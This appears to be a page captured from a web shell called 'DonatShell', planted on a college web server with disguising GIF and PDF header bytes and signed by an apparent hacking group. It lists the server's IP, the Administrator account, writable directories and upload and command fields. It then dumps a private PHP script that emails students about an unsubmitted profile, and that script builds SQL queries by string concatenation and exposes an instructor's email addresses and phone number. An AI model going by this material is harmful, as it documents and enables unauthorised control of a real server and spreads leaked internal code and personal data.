GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/StudentProfile/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/StudentProfile/StudentProfile_EmailRequestForSubmission.phpinc
<?
// StudentProfile/StudentProfile_EmailRequestForSubmission.phpinc

if ($TRACK != '') $_SESSION['TRACK'] .= "<li><b>".basename(__FILE__)."</b> (".__FILE__.")<ol>\n";
if (dc()) echo "<b>",basename(__FILE__),"</b>: ",__FILE__."<br>\n";
#setDebugOn();
#$skipAuthentication = false; 
$debugEmailOn = false;

$f_classId = formValue('classId');
$f_userId = formValue('userId');
$f_userStudentId = userStudentId($f_userId);
$f_message = '';
// Verify the userId.
if (!isset($f_userId) || $f_userId == '') {
	$f_message .= '<span class="error">The userId was not set.</span> No email could be sent from '.basename(__FILE__).': '.__LINE__.'.<br>';
}
if ($f_message == '') {
	// Get the courseNumbers.
	$query = "
				SELECT course.courseNumber
					FROM classstudent
		INNER JOIN class ON classstudent.classId = class.classId
		INNER JOIN course ON class.courseId = course.courseId
				 WHERE class.studentProfilePoints > 0
					 AND class.YRTR = '".$_SESSION['YRTR']['User']."'
					 AND classstudent.userStudentId = '".$f_userStudentId."'
			ORDER BY course.courseNumber
	";
	$courseResult = query_do($query);
	$courseCount = $_SESSION['qry']['count'];
	if ($courseCount) {
		$courseList = query_to_list($courseResult);
	} else {
		$courseList = '';
		//$f_message .= '<span class="error">The courseNumber for userStudentId '.$_SESSION['userStudentId'].' was not found.</span> No email could be sent from '.basename(__FILE__).': '.__LINE__.'.<br>';
	} // if ($courseCount)
	$courseNumberArray = listToArray($courseList);
	if ($debugEmailOn) {
		echo "<b>\$f_userId=",$f_userId,"</b>: ",basename(__FILE__),": ",__LINE__,"<br>\n";
		echo "<b>\$f_classId=",$f_classId,"</b>: ",basename(__FILE__),": ",__LINE__,"<br>\n";
		echo "<b>\$courseList=",$courseList,"</b>: ",basename(__FILE__),": ",__LINE__,"<br>\n";
		echo "<b>\$f_message=",$f_message,"</b>: ",basename(__FILE__),": ",__LINE__,"<br>\n";
	}
	if ($f_message == '') {
		// Get student info.
		$displayStudentInformation = false;
		include('common/studentInfo.phpinc');
		if ($f_userEmail != '') {
			// Start $mail.
			include('email/class.phpmailer.php');
			// Set $mail.
			$mail->From = "jim.martinson@ridgewater.edu";
			$mail->FromName = "Jim Martinson";
			if (!$debugEmailOn) {
				$mail->AddAddress($f_userEmail,$f_username);
			} else {
				$mail->AddAddress("jim@jimmartinson.com","Jim Martinson as ".$f_username,' StudentProfile_EmailRequestForSubmission.phpinc'); // This address is for testing only.
				#$mail->AddAddress("jimmart@hutchtel.net","Jim Martinson as ".$f_username); // This address is for testing only.
			}
			$mail->AddCC("jim.martinson@ridgewater.edu", "Jim Martinson");
			$mail->Subject = "You have not submitted your Student Profile";
			if ( $courseList ) {
				$courseListLine = 'The Student Profile is required in '.listAnd($courseList);
			} else {
				$courseListLine = 'The Student Profile is required by the CST department';
			}
			$mail->Body = '
			'.$f_userNickName.',<br>
			<br>
			You have not submitted your Student Profile.<br>
			'.$courseListLine.'.<br>
			Please finish your <a href="http://cst.ridgewater.edu/JimMartinson/'.$courseNumberArray[0].'/?StudentProfile">Student Profile</a> and click on the <b>Submit assignment</b> button.<br>
			<br>
			If you have problems completing or submitting your Student Profile please contact me,<br>
			-- Jim<br>
			<br>
			Jim Martinson<br>
			Ridgewater College http://ridgewater.edu<br>
			jim.martinson@ridgewater.edu<br>
			320-234-8546<br>
			';
			// Send $mail.
			include('email/sendEmail.phpinc');
			$_SESSION['Message'] = 'Student Profile submission requested from '.$f_username.'.';
		} else {
			$_SESSION['Message'] = '<span class="error">No email address found for '.$f_username.'.</span> No email could be sent.';
		}
	} else {
		$_SESSION['Message'] = $f_message;
	}
}
debugTrackEnd();
?>

Anon7 - 2022
AnonSec Team